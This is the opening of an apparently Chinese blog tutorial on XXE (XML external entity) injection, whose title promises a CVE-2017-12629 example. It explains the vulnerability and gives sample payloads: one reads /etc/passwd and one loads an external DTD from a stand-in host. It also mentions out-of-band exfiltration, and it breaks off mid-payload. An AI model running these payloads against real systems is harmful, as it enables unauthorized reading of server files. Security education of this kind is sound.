浅浅浅浅谈XXE漏洞(附XXE攻击实例CVE-2017-12629)
我从未拥有过你一秒钟,心里却失去过你千万次。
XXE漏洞概述:
XXE就是XML外部实体注入。当允许引用外部实体时,通过构造任意PAYLOAD,导致可读取任意文件、命令执行、探测内网信息、攻击内网网站等危害。
XXE漏洞基本概念:
- 主要是对外部实体数据(XML,可自定义)进行处理时引发的漏洞。
- XML 指可扩展标记语言,即允许用户对自己的标记语言进行定义的源语言。XML 的设计宗旨是传输数据,而非显示数据。
- XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。如下图:
不同语言支持的不同协议
- 引入外部实体方式有多种,主要这三个:
(这些都是有回显的,无回显建议利用数据外带)
1.直接通过DTD外部实体声明
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cat [<!ENTITY cat SYSTEM "file:///etc/passwd" >]>
<a>&cat;</a>
2.通过DTD文档引入外部DTD文档,再引入外部实体声明.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cat [<!ENTITY cat SYSTEM "http://cat.com/cat.dtd" >]>
<a>&cat;</a>
//dtd文件内容 <!ENTITY cat SYSTE